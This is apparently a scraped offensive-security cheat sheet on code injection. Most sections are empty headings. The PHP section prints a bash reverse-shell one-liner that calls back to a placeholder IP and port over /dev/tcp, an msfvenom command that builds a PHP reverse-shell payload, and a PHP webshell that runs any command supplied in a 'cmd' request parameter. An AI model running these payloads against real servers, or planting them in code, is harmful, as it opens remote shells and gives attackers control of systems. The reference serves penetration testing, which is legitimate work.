Code Injection
PHP
Reverse shell
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'"); php?>msfvenom -p php/reverse_php LHOST=<ip> LPORT=<port> -f raw -o payload.phpWebshell
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>Code injection
.NET
Reverse shell
Webshell
Java
Reverse shell
Webshell
Parameter injection
Deserialization
Deploy payload
NC upload and reverse shell
Powershell
Python
Reverse shell
Parameter injection
Last updated